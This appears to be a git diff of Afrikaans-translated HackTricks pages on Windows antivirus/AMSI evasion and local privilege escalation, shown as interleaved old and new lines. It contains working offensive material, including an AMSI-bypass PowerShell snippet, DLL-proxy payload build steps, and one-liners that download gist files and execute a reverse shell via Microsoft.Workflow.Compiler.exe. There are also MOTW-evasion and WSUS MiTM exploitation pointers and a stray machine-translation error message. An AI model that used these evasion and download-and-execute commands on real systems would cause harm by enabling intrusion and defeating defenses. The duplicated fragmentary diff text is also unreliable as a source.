Powershell -version 2
|
||||
```
|
||||
In huidige Windows sal daardie Bypass nie werk nie, maar jy kan gebruik maak van [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Om dit te kompileer mag jy** **moet** _**'n Verwysing Voeg**_ -> _Blader_ ->_Blader_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
|
||||
**Om dit te kompileer mag jy** **moet** _**'n Verwysing Voeg**_ -> _Blader_ -> _Blader_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
|
||||
|
||||
#### Direkte bypass:
|
||||
```bash
|
||||
@ -221,7 +223,7 @@ Meer kan [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-executi
|
||||
|
||||
Is die API wat gebruik kan word om gebruikers te autentiseer.
|
||||
|
||||
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel oor watter autentiseringsprotokol gebruik sal word, hierdie autentiseringsprotokolle word Security Support Provider (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
|
||||
Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkieslike metode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter autentifikasieprotokol gebruik sal word, hierdie autentifikasieprotokolle word Security Support Provider (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
|
||||
|
||||
### Hoof SSPs
|
||||
|
||||
|
@ -10,7 +10,7 @@ Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig
|
||||
|
||||
### **Statiese opsporing**
|
||||
|
||||
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te werk:
|
||||
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te werk:
|
||||
|
||||
- **Enkripsie**
|
||||
|
||||
@ -18,7 +18,7 @@ As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te
|
||||
|
||||
- **Obfuskasie**
|
||||
|
||||
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
|
||||
Soms is al wat jy hoef te doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
|
||||
|
||||
- **Pasgemaakte gereedskap**
|
||||
|
||||
@ -31,7 +31,7 @@ Ek beveel sterk aan dat jy hierdie [YouTube-speellys](https://www.youtube.com/pl
|
||||
|
||||
### **Dinamiese analise**
|
||||
|
||||
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaiers se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade.
|
||||
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade.
|
||||
|
||||
- **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
|
||||
- **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien vertraag. Jy kan ook baie kreatief wees hier, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
|
||||
@ -49,7 +49,7 @@ Soos ons voorheen in hierdie pos gesê het, **publieke gereedskap** sal uiteinde
|
||||
|
||||
Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
|
||||
|
||||
Die regte antwoord is waarskynlik die laaste. Om mimikatz as 'n voorbeeld te neem, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om mee te werk om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
|
||||
Die regte antwoord is waarskynlik die laaste. Om mimikatz as 'n voorbeeld te neem, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om mee te werk om om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
|
||||
|
||||
> [!NOTE]
|
||||
> Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kontroleer of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
|
||||
@ -81,7 +81,7 @@ Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programme self verken**
|
||||
|
||||
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal jou payload nie laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
|
||||
|
||||
**DLL Proxying** stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, wat die program se funksionaliteit behou en in staat is om die uitvoering van jou payload te hanteer.
|
||||
**DLL Proxying** stuur die oproepe wat 'n program vanaf die proxy (en kwaadwillige) DLL maak, na die oorspronklike DLL, en behou sodoende die program se funksionaliteit en kan die uitvoering van jou payload hanteer.
|
||||
|
||||
Ek sal die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projek van [@flangvik](https://twitter.com/Flangvik/) gebruik.
|
||||
|
||||
@ -92,7 +92,7 @@ Hierdie is die stappe wat ek gevolg het:
|
||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
Die laaste opdrag sal vir ons 2 lêers gee: 'n DLL bronnekode sjabloon, en die oorspronklike hernoemde DLL.
|
||||
Die laaste opdrag sal vir ons 2 lêers gee: 'n DLL-bronkode-sjabloon, en die oorspronklike hernoemde DLL.
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
@ -123,7 +123,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, as dit moontlik is, probeer om verskeie ontwykings tegnieke te kombineer.
|
||||
> Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, indien moontlik, probeer om verskeie ontwykingsmetodes te kombineer.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
@ -131,8 +131,8 @@ AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless_mal
|
||||
|
||||
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
|
||||
|
||||
- Gebruikerrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
|
||||
- PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering)
|
||||
- Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX-installasie)
|
||||
- PowerShell (scripts, interaktiewe gebruik, en dinamiese kode-evaluasie)
|
||||
- Windows Script Host (wscript.exe en cscript.exe)
|
||||
- JavaScript en VBScript
|
||||
- Office VBA makros
|
||||
@ -143,9 +143,9 @@ Die uitvoering van `IEX (New-Object Net.WebClient).DownloadString('https://raw.g
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
|
||||
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai is, in hierdie geval, powershell.exe
|
||||
|
||||
Ons het nie enige lêer na skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
||||
Ons het nie enige lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
||||
|
||||
Daar is 'n paar maniere om rondom AMSI te kom:
|
||||
|
||||
@ -153,11 +153,11 @@ Daar is 'n paar maniere om rondom AMSI te kom:
|
||||
|
||||
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
|
||||
|
||||
Echter, AMSI het die vermoë om skripte te onobfuskate selfs al het dit verskeie lae, so obfuskasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.
|
||||
Echter, AMSI het die vermoë om skripte te onobfuskate selfs al het dit verskeie lae, so obfuskasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal goed wees, so dit hang af van hoeveel iets gemerk is.
|
||||
|
||||
- **AMSI Ontwyking**
|
||||
|
||||
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laai, is dit moontlik om dit maklik te manipuleer selfs terwyl jy as 'n nie-bevoegde gebruiker loop. Vanweë hierdie fout in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI skandering te ontwyk.
|
||||
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laai, is dit moontlik om dit maklik te manipuleer selfs terwyl jy as 'n nie-bevoegde gebruiker loop. Vanweë hierdie fout in die implementering van AMSI, het navorsers verskeie maniere gevind om AMSI-skandering te ontwyk.
|
||||
|
||||
**Dwing 'n Fout**
|
||||
|
||||
@ -181,11 +181,11 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos verskyn, so jy moet geen kode publiseer as jou plan is om onopgemerk te bly nie.
|
||||
Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos verskyn, so jy moet nie enige kode publiseer as jou plan is om onopgemerk te bly nie.
|
||||
|
||||
**Geheue Patching**
|
||||
|
||||
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal teruggee, wat as 'n skoon resultaat geïnterpreteer word.
|
||||
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal wees, wat as 'n skoon resultaat geïnterpreteer word.
|
||||
|
||||
> [!NOTE]
|
||||
> Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
|
||||
@ -199,9 +199,9 @@ Of hierdie skrip wat via geheue patching elke nuwe Powersh sal patch.
|
||||
Daar is verskeie gereedskap wat gebruik kan word om **C# duidelike tekskode** te **obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre** te obfuskeer soos:
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskering](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) en tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskerings](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) en tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeer kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeer operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuscator wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskeringsraamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
|
||||
@ -223,13 +223,13 @@ SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Dit is belangrik om te noem dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie.
|
||||
> Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie.
|
||||
|
||||
'n Baie effektiewe manier om jou payloads te verhoed om die Mark of The Web te kry, is om dit in 'n soort houer soos 'n ISO te verpakkie. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpakkie om die Mark-of-the-Web te ontwyk.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpakkie om Mark-of-the-Web te ontwyk.
|
||||
|
||||
Voorbeeld gebruik:
|
||||
```powershell
|
||||
@ -261,7 +261,7 @@ Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpa
|
||||
|
||||
Om C# binêre lêers in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitation gereedskap te laat loop sonder om deur AV gevang te word.
|
||||
|
||||
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, sal ons net oor die patching van AMSI vir die hele proses moet bekommer.
|
||||
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf te raak, sal ons net bekommerd wees oor die patching van AMSI vir die hele proses.
|
||||
|
||||
Meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# assemblies direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
|
||||
|
||||
@ -294,21 +294,25 @@ Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP
|
||||
|
||||
Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
|
||||
|
||||
Elke omgewing wat jy teen gaan, sal sy eie sterkpunte en swakpunte hê.
|
||||
Elke omgewing wat jy teenaan gaan, sal sy eie sterkpunte en swakpunte hê.
|
||||
|
||||
Ek moedig jou sterk aan om hierdie praatjie van [@ATTL4S](https://twitter.com/DaniLJ94) te kyk, om 'n voet aan die grond te kry in meer Gevorderde Ontwyking tegnieke.
|
||||
|
||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Dit is ook 'n ander goeie praatjie van [@mariuszbit](https://twitter.com/mariuszbit) oor Ontwyking in Diepte.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
{{#endref}}
|
||||
|
||||
## **Ou Tegnieke**
|
||||
|
||||
### **Kontroleer watter dele Defender as kwaadwillig vind**
|
||||
|
||||
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre lêer sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou sal verdeel.\
|
||||
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre** sal **verwyder totdat dit** uitvind watter deel Defender as kwaadwillig vind en dit aan jou sal skei.\
|
||||
Nog 'n hulpmiddel wat die **selfde ding doen is** [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Bediening**
|
||||
@ -378,7 +382,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
|
||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### Eerste C# Revershell
|
||||
#### Eerste C# Omgekeerde dop
|
||||
|
||||
Stel dit saam met:
|
||||
```
|
||||
@ -473,9 +477,11 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
|
||||
32bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
```
|
||||
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
|
||||
{{#ref}}
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
C# obfuscators lys: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
C# obfuskeerders lys: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
### C++
|
||||
```
|
||||
@ -490,7 +496,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Gebruik python vir die bou van inspuiters voorbeeld:
|
||||
### Gebruik python vir die bou van injectors voorbeeld:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Windows Lokale Privilege Escalation
|
||||
# Windows Plaaslike Privilege Escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Beste hulpmiddel om te soek na Windows lokale privilege escalatie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Beste hulpmiddel om te soek na Windows plaaslike privilege escalatie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
## Begin Windows Teorie
|
||||
|
||||
@ -32,7 +32,7 @@ integrity-levels.md
|
||||
|
||||
## Windows Sekuriteitsbeheer
|
||||
|
||||
Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te evalueer**, uitvoerbare lêers te loop of selfs jou **aktiwiteite te ontdek**. Jy moet die volgende **bladsy** lees en al hierdie **verdedigings** **meganismes** **evalueer** voordat jy die privilege escalasie evaluering begin:
|
||||
Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te evalueer**, uitvoerbare lêers te loop of selfs jou **aktiwiteite te ontdek**. Jy moet **lees** die volgende **bladsy** en **evalueer** al hierdie **verdedigings** **meganismes** voordat jy die privilege escalasie evaluering begin:
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/
|
||||
@ -42,7 +42,7 @@ Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te ev
|
||||
|
||||
### Weergawe-inligting evaluering
|
||||
|
||||
Kyk of die Windows weergawe enige bekende kwesbaarheid het (kyk ook na die toegepaste pille).
|
||||
Kyk of die Windows weergawe enige bekende kwesbaarheid het (kyk ook na die toegepaste regstellings).
|
||||
```bash
|
||||
systeminfo
|
||||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
|
||||
@ -79,7 +79,7 @@ Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig
|
||||
|
||||
### Omgewing
|
||||
|
||||
Enige geloofsbriewe/lekke inligting wat in die omgewing veranderlikes gestoor is?
|
||||
Enige geloofsbriewe/juicy inligting wat in die omgewing veranderlikes gestoor is?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -158,16 +158,16 @@ Jy begin deur te kyk of die netwerk 'n nie-SSL WSUS-opdatering gebruik deur die
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
As you have not provided any text to translate, please provide the relevant English text for translation to Afrikaans.
|
||||
As you have not provided any text to translate, please provide the relevant English text that you would like translated to Afrikaans.
|
||||
```bash
|
||||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
```
|
||||
En as `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` gelyk is aan `1`.
|
||||
|
||||
Dan, **is dit exploitable.** As die laaste register gelyk is aan 0, sal die WSUS-invoer geïgnoreer word.
|
||||
Dan, **is dit exploiteerbaar.** As die laaste register gelyk is aan 0, sal die WSUS-invoer geïgnoreer word.
|
||||
|
||||
Om hierdie kwesbaarhede te benut, kan jy gereedskap soos: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) gebruik - Dit is MiTM gewapende exploits skripte om 'nep' opdaterings in nie-SSL WSUS-verkeer in te spuit.
|
||||
Om hierdie kwesbaarhede te exploiteer, kan jy gereedskap soos: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) gebruik - Dit is MiTM gewapende eksploit-skripte om 'valse' opdaterings in nie-SSL WSUS-verkeer in te spuit.
|
||||
|
||||
Lees die navorsing hier:
|
||||
|
||||
@ -178,23 +178,23 @@ Lees die navorsing hier:
|
||||
[**Lees die volledige verslag hier**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
Basies, dit is die fout wat hierdie fout benut:
|
||||
|
||||
> As ons die mag het om ons plaaslike gebruiker proxy te wysig, en Windows Updates die proxy gebruik wat in Internet Explorer se instellings geconfigureer is, het ons dus die mag om [PyWSUS](https://github.com/GoSecure/pywsus) plaaslik te loop om ons eie verkeer te onderskep en kode as 'n verhoogde gebruiker op ons bates te loop.
|
||||
> As ons die mag het om ons plaaslike gebruiker-proxy te wysig, en Windows Updates die proxy gebruik wat in Internet Explorer se instellings geconfigureer is, het ons dus die mag om [PyWSUS](https://github.com/GoSecure/pywsus) plaaslik te loop om ons eie verkeer te onderskep en kode as 'n verhoogde gebruiker op ons bates te loop.
|
||||
>
|
||||
> Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatwinkel gebruik. As ons 'n self-onderteken sertifikaat vir die WSUS-hostnaam genereer en hierdie sertifikaat in die huidige gebruiker se sertifikaatwinkel voeg, sal ons in staat wees om beide HTTP en HTTPS WSUS-verkeer te onderskep. WSUS gebruik geen HSTS-agtige meganismes om 'n trust-on-first-use tipe validasie op die sertifikaat te implementeer nie. As die sertifikaat wat aangebied word vertrou word deur die gebruiker en die korrekte hostnaam het, sal dit deur die diens aanvaar word.
|
||||
> Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatwinkel gebruik. As ons 'n self-ondertekende sertifikaat vir die WSUS-hostnaam genereer en hierdie sertifikaat in die huidige gebruiker se sertifikaatwinkel voeg, sal ons in staat wees om beide HTTP en HTTPS WSUS-verkeer te onderskep. WSUS gebruik geen HSTS-agtige meganismes om 'n vertroue-op-eerste-gebruik tipe validasie op die sertifikaat te implementeer nie. As die sertifikaat wat aangebied word vertrou word deur die gebruiker en die korrekte hostnaam het, sal dit deur die diens aanvaar word.
|
||||
|
||||
Jy kan hierdie kwesbaarheid benut met die gereedskap [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (sodra dit bevry is).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
